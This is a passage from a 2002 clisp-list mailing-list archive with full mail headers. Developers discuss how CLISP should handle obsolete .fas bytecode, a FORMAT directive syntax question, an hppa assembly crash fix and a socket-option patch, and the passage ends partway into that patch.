"zoo/foo.fas") and we clobber a file in "zoo/" with the file which should be in "zot/". A warning + optional removing the bad file appears to be the safest way. What do people think? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Bill Gates is great, as long as `bill' is a verb. From jmkatcher@yahoo.com Thu Sep 19 17:04:35 2002 Received: from web14501.mail.yahoo.com ([216.136.224.64]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sBHd-0001py-00 for ; Thu, 19 Sep 2002 17:04:33 -0700 Message-ID: <20020920000431.72644.qmail@web14501.mail.yahoo.com> Received: from [198.95.226.224] by web14501.mail.yahoo.com via HTTP; Thu, 19 Sep 2002 17:04:31 PDT From: Jeffrey Katcher Subject: Re: [clisp-list] Re: Clisp on Solaris To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 17:05:19 2002 X-Original-Date: Thu, 19 Sep 2002 17:04:31 -0700 (PDT) I'm afraid that I need to admit my ignorance here. If I actually knew what I was doing, I'd disable the registers as per Will's patch, and start enabling them one at a time until I found a happy configuration. That's just intuition talking, though. The last time I did Sparc assembler, it involved patching Smalltalk virtual machine startup code and gave me nightmares (especially register allocation). Give me a MIPS machine any day...Sigh. Jeff Katcher __________________________________________________ Do you Yahoo!? New DSL Internet Access from SBC & Yahoo! http://sbc.yahoo.com From lists@consulting.net.nz Thu Sep 19 18:03:00 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sCCA-0002S2-00 for ; Thu, 19 Sep 2002 18:02:59 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17sCBy-0000GP-00 for ; Fri, 20 Sep 2002 13:02:46 +1200 Subject: Re: [clisp-list] what should LOAD do when the FAS file is obsolete? From: Adam Warner To: clisp-list@sourceforge.net In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1032484074.3250.9.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 18:03:03 2002 X-Original-Date: 20 Sep 2002 13:07:54 +1200 On Fri, 2002-09-20 at 10:39, Sam Steingold wrote: > Every now and then CLISP bytecode format changes. > (last time it was at version 2.28; it might happen again :-) > Suppose you compiled file "foo.lisp" with an older CLISP (so that > "foo.fas" has obsolete bytecode) and tell a new CLISP (LOAD "foo"). > > What should CLISP do? > > Now it sees that there is no file "foo", so it looks in *LOAD-PATHS* > for "foo.lisp", "foo.fas", "foo.cl" and "foo.lsp" and tries to load the > newest of the found files, i.e., "foo.fas", and then signals an error. > > CLISP can also do the following: > > - issue a warning instead and load "foo.lisp" > > - also delete "foo.fas" so that the next time there will be no warning > (and a `make' will recompile "foo.lisp") > > - recompile "foo.lisp" - this is very problematic: suppose you use > DEFSYSTEM and you keep your LISP files in a different directory from > the FAS files, then (COMPILE-FILE "foo.lisp") will not clobber the > existing bad "foo.fas"; giving COMPILE-FILE the :OUTPUT-FILE argument > is a dangerous solution for the following reason: suppose you have > directories "zoo/" and "zot/" in your *LOAD-PATHS* and both > directories hav "foo.lisp" in them (yes, this is not a very good idea > in the first place). The 4 files "foo.lisp" and "foo.fas" may have > all combinations of timestamps. So it is possible that we first see > an invalid "zoo/foo.fas", and the second newest file is > "zot/foo.lisp", and then we call (COMPILE-FILE "zot/foo.lisp" :OUTPUT-FILE > "zoo/foo.fas") and we clobber a file in "zoo/" with the file which > should be in "zot/". > > A warning + optional removing the bad file appears to be the safest way. I agree that you should issue a warning and load "foo.lisp" instead. This should become a noted exception to loading the most recent file rule. I'm uneasy with CLISP deleting files by default. But an option to delete old bytecode would be nice. Regards, Adam From hin@van-halen.alma.com Thu Sep 19 18:14:18 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sCN7-0000Kz-00 for ; Thu, 19 Sep 2002 18:14:17 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g8K1EAkB010695; Thu, 19 Sep 2002 21:14:10 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g8K1EAYs010692; Thu, 19 Sep 2002 21:14:10 -0400 Message-Id: <200209200114.g8K1EAYs010692@van-halen.alma.com> From: "John K. Hinsdale" To: lists@consulting.net.nz CC: clisp-list@sourceforge.net In-reply-to: <1032484074.3250.9.camel@work> (message from Adam Warner on 20 Sep 2002 13:07:54 +1200) Subject: Re: [clisp-list] what should LOAD do when the FAS file is obsolete? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 18:15:02 2002 X-Original-Date: Thu, 19 Sep 2002 21:14:10 -0400 > Suppose you compiled file "foo.lisp" with an older CLISP (so that > "foo.fas" has obsolete bytecode) and tell a new CLISP (LOAD "foo"). > > What should CLISP do? I would behave consistenly with other compiled languages (e.g., say an caused compiling "C" changed from 'a.out' to 'ELF') and either - support the old object format in a backward compatible way; (which is not really an option here to do effort/rewrd) or - signal an error. So I guess I am saying signal an error. To recompile automatically, even with a warning, is to proceed in a mode (probably much slower) and give the user "almost working" behavior, and possible a little puzzle to have to solve why things got slower. In other words, unless there is an announced change in the functionality of CLISP (not the format) I'm arguing that he (the user) should get exactly the behavior he had before, including the performance of compiled modules. That is just my knee-jerk one-minute response. Perhaps there is a middle ground of "automatically recompile, but only if an option is set" and then we can argue about what should the default for that option be :) --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From marcoxa@octagon.mrl.nyu.edu Thu Sep 19 18:39:53 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sCls-0003LU-00 for ; Thu, 19 Sep 2002 18:39:52 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g8K1UHg01870; Thu, 19 Sep 2002 21:30:17 -0400 Message-Id: <200209200130.g8K1UHg01870@octagon.mrl.nyu.edu> From: Marco Antoniotti To: sds@gnu.org CC: clisp-list@sourceforge.net In-reply-to: (message from Sam Steingold on 19 Sep 2002 18:39:54 -0400) Subject: Re: [clisp-list] what should LOAD do when the FAS file is obsolete? References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 18:40:02 2002 X-Original-Date: Thu, 19 Sep 2002 21:30:17 -0400 > X-Sent: 19 Sep 2002 23:51:30 GMT > X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > Sender: clisp-list-admin@lists.sourceforge.net > X-Original-Date: 19 Sep 2002 18:39:54 -0400 > Date: 19 Sep 2002 18:39:54 -0400 > > Every now and then CLISP bytecode format changes. > (last time it was at version 2.28; it might happen again :-) > Suppose you compiled file "foo.lisp" with an older CLISP (so that > "foo.fas" has obsolete bytecode) and tell a new CLISP (LOAD "foo"). > > What should CLISP do? > > Now it sees that there is no file "foo", so it looks in *LOAD-PATHS* > for "foo.lisp", "foo.fas", "foo.cl" and "foo.lsp" and tries to load the > newest of the found files, i.e., "foo.fas", and then signals an error. > > CLISP can also do the following: > > - issue a warning instead and load "foo.lisp" I think this is the sensible thing to do. You should be prepared to signal an error if "foo.lisp" is not available. > - also delete "foo.fas" so that the next time there will be no warning > (and a `make' will recompile "foo.lisp") I would not want this. Suppose that you stil have an old copy of CLisp which does use the older .fas. > > - recompile "foo.lisp" - this is very problematic: suppose you use > DEFSYSTEM and you keep your LISP files in a different directory from > the FAS files, then (COMPILE-FILE "foo.lisp") will not clobber the > existing bad "foo.fas"; giving COMPILE-FILE the :OUTPUT-FILE argument > is a dangerous solution for the following reason: suppose you have > directories "zoo/" and "zot/" in your *LOAD-PATHS* and both > directories hav "foo.lisp" in them (yes, this is not a very good idea > in the first place). The 4 files "foo.lisp" and "foo.fas" may have > all combinations of timestamps. So it is possible that we first see > an invalid "zoo/foo.fas", and the second newest file is > "zot/foo.lisp", and then we call (COMPILE-FILE "zot/foo.lisp" :OUTPUT-FILE > "zoo/foo.fas") and we clobber a file in "zoo/" with the file which > should be in "zot/". Now... where is the lid of this can of worms? I hope it is still on. :) > > A warning + optional removing the bad file appears to be the safest way. > > What do people think? See above. You could also extend LOAD with some extra keyword, maybe :delete-old-fas-files-p Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Fri Sep 20 10:51:54 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sRwY-0001Fx-00 for ; Fri, 20 Sep 2002 10:51:54 -0700 Received: (cpmta 19641 invoked from network); 20 Sep 2002 10:51:49 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 20 Sep 2002 10:51:49 -0700 X-Sent: 20 Sep 2002 17:51:49 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8KFptc32586; Fri, 20 Sep 2002 11:51:55 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Linux/hppa crash References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 20 10:52:05 2002 X-Original-Date: 20 Sep 2002 11:51:55 -0400 > * In message > * On the subject of "[clisp-list] Linux/hppa crash" > * Sent on Thu, 5 Sep 2002 23:11:36 +0100 > * Honorable Will Newton writes: > > The interpreter crashes with a SIGSEGV. I have included the backtrace. Will, Stefan translated the comments in the relevant files, please look at the current CVS HEAD. thanks -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Any connection between your reality and mine is purely coincidental. From edi@agharta.de Fri Sep 20 11:03:33 2002 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=dyn164.dbdmedia.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sS7l-0004G8-00 for ; Fri, 20 Sep 2002 11:03:30 -0700 Received: by dyn164.dbdmedia.de (Postfix, from userid 1000) id 2AD61260552; Fri, 20 Sep 2002 20:03:18 +0200 (CEST) To: clisp-list@lists.sourceforge.net From: Edi Weitz Message-ID: <87n0qc8ro9.fsf@dyn164.dbdmedia.de> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Problems with FORMAT control string Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 20 11:04:03 2002 X-Original-Date: 20 Sep 2002 20:03:18 +0200 Hi! CLISP 2.29 barfs on this control string "~@3A: ~,2F~%" *** - Non-existent directive Current point in control string: ~@3A: ~,2F~% | which I think is OK - at least it works as expected in CMUCL and LispWorks. Is this a bug and if so is it fixed in 2.30? (My distro - Gentoo Linux - is still at 2.29.) Thanks, Edi. From will@misconception.org.uk Fri Sep 20 11:11:34 2002 Received: from cmailg1.svr.pol.co.uk ([195.92.195.171]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sSFZ-00068O-00 for ; Fri, 20 Sep 2002 11:11:33 -0700 Received: from modem-37.arkansas.dialup.pol.co.uk ([62.137.55.37] helo=there) by cmailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17sSFW-00036S-00 for clisp-list@lists.sourceforge.net; Fri, 20 Sep 2002 19:11:31 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Linux/hppa crash X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_A31RQBF8IPQGTBBF9FWS" Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 20 11:12:28 2002 X-Original-Date: Fri, 20 Sep 2002 19:09:10 +0100 --------------Boundary-00=_A31RQBF8IPQGTBBF9FWS Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Friday 20 Sep 2002 4:51 pm, Sam Steingold wrote: > Will, Stefan translated the comments in the relevant files, please > look at the current CVS HEAD. I figured it out. I missed returning from an asm call. Fix attached. --------------Boundary-00=_A31RQBF8IPQGTBBF9FWS Content-Type: text/x-diff; charset="iso-8859-1"; name="arihppa.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="arihppa.diff" LS0tIGNsaXNwLTIuMzAub2xkL3NyYy9hcmlocHBhLmQJMjAwMi0wOS0xNyAwNDowMjo1NC4wMDAw MDAwMDAgKzAxMDAKKysrIGNsaXNwLTIuMzAvc3JjL2FyaWhwcGEuZAkyMDAyLTA5LTE5IDIzOjQ2 OjQ0LjAwMDAwMDAwMCArMDEwMApAQCAtNzEsNiArNzEsOCBAQAogICAgICAgICAgICAgICAgICMg aWYgKHggJiAoYml0KDMxLTApKihiaXQoMSktMSkpICE9IDApCiAgICAgICAgICAgICAgICAgRVhU UlUsPSAgICAgICAgICVhcmcwLDAsMSwlcjAKICAgICAgICAgICAgICAgICBBRERJICAgICAgICAg ICAgMSwlcmV0MCwlcmV0MCAgICAgICAgICAgIyB5ID0geSsxOworCQlCVgkJMCglcjIpCQkJIyBS ZXR1cm4KKwkJTk9QCiAgICAgICAgICAgICAgICAgLkVYSVQKICAgICAgICAgICAgICAgICAuUFJP Q0VORAogCg== --------------Boundary-00=_A31RQBF8IPQGTBBF9FWS-- From bernardp@cli.di.unipi.it Fri Sep 20 12:20:32 2002 Received: from vsmtp2.tin.it ([212.216.176.222] helo=smtp2.cp.tin.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sTKH-0002n7-00 for ; Fri, 20 Sep 2002 12:20:29 -0700 Received: from c1p4e3 (212.216.255.13) by smtp2.cp.tin.it (6.5.019) id 3D8B4F130000E110; Fri, 20 Sep 2002 21:20:18 +0200 Message-ID: <004f01c260da$8b5f2280$0dffd8d4@c1p4e3> Reply-To: "Pierpaolo BERNARDI" From: "Pierpaolo BERNARDI" To: , "Edi Weitz" References: <87n0qc8ro9.fsf@dyn164.dbdmedia.de> Subject: Re: [clisp-list] Problems with FORMAT control string MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 20 12:21:08 2002 X-Original-Date: Fri, 20 Sep 2002 21:18:46 +0200 From: "Edi Weitz" > CLISP 2.29 barfs on this control string > > "~@3A: ~,2F~%" > > *** - Non-existent directive > Current point in control string: > ~@3A: ~,2F~% > | > > which I think is OK - at least it works as expected in CMUCL and > LispWorks. It is not OK. From Hyperspec 22.3 Formatted Output: "A directive consists of a tilde, optional prefix parameters separated by commas, optional colon and at-sign modifiers, and a single character indicating what kind of directive this is." P. From sds@gnu.org Fri Sep 20 12:36:13 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sTZV-0006cz-00 for ; Fri, 20 Sep 2002 12:36:13 -0700 Received: (cpmta 8514 invoked from network); 20 Sep 2002 12:36:10 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 20 Sep 2002 12:36:10 -0700 X-Sent: 20 Sep 2002 19:36:10 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8KIPRK07851; Fri, 20 Sep 2002 14:25:27 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Edi Weitz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems with FORMAT control string References: <87n0qc8ro9.fsf@dyn164.dbdmedia.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87n0qc8ro9.fsf@dyn164.dbdmedia.de> Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 20 12:37:02 2002 X-Original-Date: 20 Sep 2002 14:25:27 -0400 > * In message <87n0qc8ro9.fsf@dyn164.dbdmedia.de> > * On the subject of "[clisp-list] Problems with FORMAT control string" > * Sent on 20 Sep 2002 20:03:18 +0200 > * Honorable Edi Weitz writes: > > CLISP 2.29 barfs on this control string > > "~@3A: ~,2F~%" > > *** - Non-existent directive > Current point in control string: > ~@3A: ~,2F~% > | > > which I think is OK - at least it works as expected in CMUCL and > LispWorks. > > Is this a bug and if so is it fixed in 2.30? (My distro - Gentoo Linux > - is still at 2.29.) I don't think you are allowed to put ""@:" before numeric arguments: CLHS 22.3: A directive consists of a tilde, optional prefix parameters separated by commas, optional colon and at-sign modifiers, and a single character indicating what kind of directive this is. i.e., you should write "~3@a" instead of "~@3a". -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux If You Want Breakfast In Bed, Sleep In the Kitchen. From don-sourceforge@isis.cs3-inc.com Fri Sep 20 12:44:39 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sThf-0002XU-00 for ; Fri, 20 Sep 2002 12:44:39 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g8KJdMa06345 for clisp-list@lists.sourceforge.net; Fri, 20 Sep 2002 12:39:22 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15755.31081.897119.269828@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] Re: what should LOAD do when the FAS file is obsolete? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 20 12:45:04 2002 X-Original-Date: Fri, 20 Sep 2002 12:39:21 -0700 > Now it sees that there is no file "foo", so it looks in *LOAD-PATHS* > for "foo.lisp", "foo.fas", "foo.cl" and "foo.lsp" and tries to load the > newest of the found files, i.e., "foo.fas", and then signals an error. I don't even like that. I hope at least if you (load "foo.fas") it doesn't look for foo.lisp, etc. > - issue a warning instead and load "foo.lisp" not good > - also delete "foo.fas" so that the next time there will be no warning > (and a `make' will recompile "foo.lisp") even worse > - recompile "foo.lisp" just as bad as delete > A warning + optional removing the bad file appears to be the safest way. I think it should be an error. Make it a new subclass of error (sublcass of file error?) so anyone who wants to can handle it as he likes. From edi@agharta.de Fri Sep 20 13:32:34 2002 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=dyn164.dbdmedia.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sURz-00021r-00 for ; Fri, 20 Sep 2002 13:32:31 -0700 Received: by dyn164.dbdmedia.de (Postfix, from userid 1000) id 79576260552; Fri, 20 Sep 2002 22:32:23 +0200 (CEST) To: Subject: Re: [clisp-list] Problems with FORMAT control string References: <87n0qc8ro9.fsf@dyn164.dbdmedia.de> <004f01c260da$8b5f2280$0dffd8d4@c1p4e3> From: Edi Weitz In-Reply-To: <004f01c260da$8b5f2280$0dffd8d4@c1p4e3> Message-ID: <87fzw48krs.fsf@dyn164.dbdmedia.de> Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 20 13:33:04 2002 X-Original-Date: 20 Sep 2002 22:32:23 +0200 "Pierpaolo BERNARDI" writes: > From: "Edi Weitz" > > > CLISP 2.29 barfs on this control string > > > > "~@3A: ~,2F~%" > > > > *** - Non-existent directive > > Current point in control string: > > ~@3A: ~,2F~% > > | > > > > which I think is OK - at least it works as expected in CMUCL and > > LispWorks. > > It is not OK. > > From Hyperspec 22.3 Formatted Output: > > "A directive consists of a tilde, optional prefix parameters > separated by commas, optional colon and at-sign modifiers, > and a single character indicating what kind of directive this > is." Thanks to you and Sam Steingold for your replies. I should have checked the CLHS before asking. Sorry for the noise, Edi. From kaz@footprints.net Sat Sep 21 13:02:33 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sqSX-0000nV-00 for ; Sat, 21 Sep 2002 13:02:33 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17sqSF-0006F3-00 for clisp-list@lists.sourceforge.net; Sat, 21 Sep 2002 13:02:15 -0700 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: <861yj8o2ch.fsf@coulee.tdb.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: clisp -c always compiles Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 21 13:03:01 2002 X-Original-Date: Sat, 21 Sep 2002 13:02:15 -0700 (PDT) I use a command similar to cvs -c mcvs-main to compile Meta-CVS. this *always* compiles mcvs-main.lisp, but for all the modules that this one depends on, it only compiles if the .fas files don't exist or are out of date, which is nice, sensible behavior. Would it be braindamaged in some way if -c treated the root module in the same way as the others? From dave@synergy.org Sat Sep 21 17:53:35 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sv0B-0007mJ-00 for ; Sat, 21 Sep 2002 17:53:35 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sat, 21 Sep 2002 17:53:32 -0700 From: "Dave Richards" To: , Subject: RE: [clisp-list] Re: TCP-based Network Server in CLISP Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0000_01C26197.CC590FE0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 22 Sep 2002 00:53:32.0892 (UTC) FILETIME=[797AE9C0:01C261D2] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 21 17:54:01 2002 X-Original-Date: Sat, 21 Sep 2002 17:53:31 -0700 This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C26197.CC590FE0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I am enclosing a patch which adds socket-get-option and socket-set-option subrs. This patch was generated against 2.28. In addition, a set of keyword symbols were also added, :so-keepalive, :so-oobinline, etc. To enable keepalives on a socket, for example, you can: (socket-set-option :so-keepalive t) The current value would be obtained by: (socket-get-option :so-keepalive) which returns two values. The first is the option value. The second indicates whether the first value is "valid", i.e. did the underlying getsockopt() routine actually return a value? socket-get/set-option works on both server and stream sockets, although server sockets are normally used for inheritance purposes only. I thought by implementing these functions, more specifically support for the :so-sndlowat option, I would be able to solve the problem I addressed to this forum. The send low-water mark is the minimum amount of free space that must be available on the send socket buffer before select() will return true for write. It defaults to 1. Unfortunately, Linux 2.2 only provides a read-only interface (although 2.4 provides a read/write interface) and Windows 2000 provides a read-only interface which lies. Thus, this patch, although it may be useful, doesn't solve my problem. Dave -----Original Message----- From: clisp-list-admin@lists.sourceforge.net [mailto:clisp-list-admin@lists.sourceforge.net]On Behalf Of Sam Steingold Sent: Thursday, September 19, 2002 12:38 PM To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: TCP-based Network Server in CLISP > * In message > * On the subject of "TCP-based Network Server in CLISP" > * Sent on Thu, 19 Sep 2002 09:50:58 -0700 > * Honorable "Dave Richards" writes: > > This could be alleviated if there was a write-byte-no-hang (defun write-byte-no-hang (b o) (case (socket-status o 0) ((:io :output) (write-byte b o) b) (t nil))) > or a way to known in advance, how much can be written without > blocking. I don't think this is possible - OS does not tell that. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux OK, so you're a Ph.D. Just don't touch anything. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list ------=_NextPart_000_0000_01C26197.CC590FE0 Content-Type: application/octet-stream; name="sockopt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="sockopt.diff" diff -rc clisp-2.28/src/constsym.d clisp-2.28-new/src/constsym.d *** 